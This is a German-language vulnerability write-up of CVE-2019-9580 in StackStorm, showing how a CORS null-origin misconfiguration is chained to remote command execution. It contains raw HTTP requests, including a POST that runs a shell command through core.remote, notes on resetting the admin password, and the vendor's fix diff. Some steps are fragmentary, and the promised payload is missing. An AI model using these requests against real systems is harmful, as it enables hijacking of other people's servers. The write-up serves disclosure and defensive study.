
CVE-2019-9580 - StackStorm: Ausnutzung einer CORS-Fehlkonfiguration (Null-Origin) zur Erlangung von RCE
Vor 2.10.3/2.9.3 wurde null zurückgegeben, wenn der Ursprung der Anfrage unbekannt war. null kann in manchen Clients zu einer erfolgreichen Anfrage von einem unbekannten Ursprung führen. Dies ermöglicht XSS-artige Angriffe gegen die StackStorm-API.
gefunden von Barak Tawily und Anna Tsibulskaya
(Der Benutzer im Firefox ist das Opfer, der Benutzer im Chrome der Angreifer)
Durch das Senden einer Anfrage an die StackStorm-API mit einem null-Origin-Header Origin: null antwortet der Server mit einem Access-Control-Allow-Origin-Header, der auf null gesetzt ist.
GET /api/v1/executions?action=packs.get_config&limit=5&exclude_attributes=trigger_instance&parent=null HTTP/1.1
Host: localhost:4443
Origin: 443
Referer: https://localhost:4443/
x-auth-token: a19e39b9dff24e4798ba04c7036d0275
Serverantwort:
Access-Control-Allow-Origin: null <-- hug hug hug
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type,Authorization,X-Auth-Token,St2-Api-Key,X-Request-ID
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,X-Limit,X-Total-Count,X-Request-ID
Die Ausnutzung von null-CORS ist in einem Blogbeitrag von PortSwigger dokumentiert, und wir können den folgenden Payload finden:
StackStorm ermöglicht es Ihnen, Aktionen zu konfigurieren, und einige davon wie core.remote führen beliebige Befehle auf dem Host Ihrer Wahl aus.

Wenn wir also als Host 127.0.0.1 angeben, führen wir Befehle im StackStorm-Docker aus. Schön, RCE sollte funktionieren, da zum Registrieren einer Aktion eine einfache POST-Anfrage gesendet wird.
POST /api/v1/executions HTTP/1.1
Host: localhost:4443
Origin: null
Content-Type: application/json
x-auth-token: a19e39b9dff24e4798ba04c7036d0275
Content-Length: 131
{"action":"core.remote","parameters":{"cmd":"touch /tmp/pwn2.txt","hosts":"127.0.0.1","cwd":"/tmp"},"context":{"trace_context":{}}}
Wir können also Befehle auf dem StackStorm-Host ausführen, aber lasst uns die volle Kontrolle über die StackStorm-Plattform erlangen. Das kann erreicht werden, indem das Passwort des Administrators zurückgesetzt wird. Gemäß der Dokumentation:
Passwort ändern? Führen Sie aus: sudo htpasswd /etc/st2/htpasswd st2admin. https://docs.stackstorm.com/authentication.html
Schön, lasst uns einfach alles zusammenfügen:
Origin: null gesendet wird, funktioniert die POST-Anfrage zum Registrieren der neuen Aktion (wir setzen außerdem den Parameter credentials: "include").
Sicherheitshinweis:
From 66605b7b202b8bd2db1ccd8c1ce7279028ac86d4 Mon Sep 17 00:00:00 2001
From: bigmstone <[email protected]>
Date: Tue, 5 Mar 2019 12:22:26 -0600
Subject: [PATCH] Fix improper CORS return
Prior to this commit if you sent a request from an origin not listed in
`allowed_origins` we would respond with `null` for the
`Access-Control-Allow-Origin` header. Per
[https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin#Directives](mozilla's documentation)
null should not be used as some clients will allow the request to go
through. This commit returns the first of our allowed origins if the
requesting origin is not a supported origin.
---
st2api/tests/unit/controllers/v1/test_base.py | 4 ++--
st2common/st2common/middleware/cors.py | 2 +-
2 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/st2api/tests/unit/controllers/v1/test_base.py b/st2api/tests/unit/controllers/v1/test_base.py
index 2a753f22ea..e66148a0a5 100644
--- a/st2api/tests/unit/controllers/v1/test_base.py
+++ b/st2api/tests/unit/controllers/v1/test_base.py
@@ -51,8 +51,8 @@ def test_wrong_origin(self):
'origin': 'http://xss'
})
self.assertEqual(response.status_int, 200)
- self.assertEqual(response.headers['Access-Control-Allow-Origin'],
- 'null')
+ self.assertEqual(response.headers.get('Access-Control-Allow-Origin'),
+ 'http://127.0.0.1:3000')
def test_wildcard_origin(self):
try:
diff --git a/st2common/st2common/middleware/cors.py b/st2common/st2common/middleware/cors.py
index 5781b1a6e7..8cb407b52c 100644
--- a/st2common/st2common/middleware/cors.py
+++ b/st2common/st2common/middleware/cors.py
@@ -66,7 +66,7 @@ def custom_start_response(status, headers, exc_info=None):
origin_allowed = origin
else:
# See http://www.w3.org/TR/cors/#access-control-allow-origin-response-header
- origin_allowed = origin if origin in origins else 'null'
+ origin_allowed = origin if origin in origins else list(origins)[0]
else:
origin_allowed = list(origins)[0]